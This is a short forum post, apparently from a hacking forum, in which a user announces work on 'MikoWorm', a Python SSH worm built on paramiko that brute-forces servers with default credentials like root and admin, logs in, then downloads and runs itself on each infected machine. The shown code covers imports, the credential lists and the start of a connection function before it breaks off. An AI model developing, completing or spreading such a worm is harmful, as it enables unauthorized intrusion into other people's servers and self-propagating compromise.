Advice For a Python Worm 09-04-2020, 06:39 AM
#1
I've just started to work on a ssh worm that primarily uses paramiko. The basic goal is to brute a ssh server from a generated up list, login, and download and run the same script on the infected machine so the cycle continues. I'll update the code ad I contiune working on it.
Code:
import paramiko
import random
import socket
import os
import random
usernames = ['root',
'admin']
passwords = ['root',
'admin', 'password']
print("Welcome to MikoWorm!")
def sshconnect(ip, usernames, passwords):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect

![[+]](https://sinister.li/images/modern/collapse_collapsed.png)


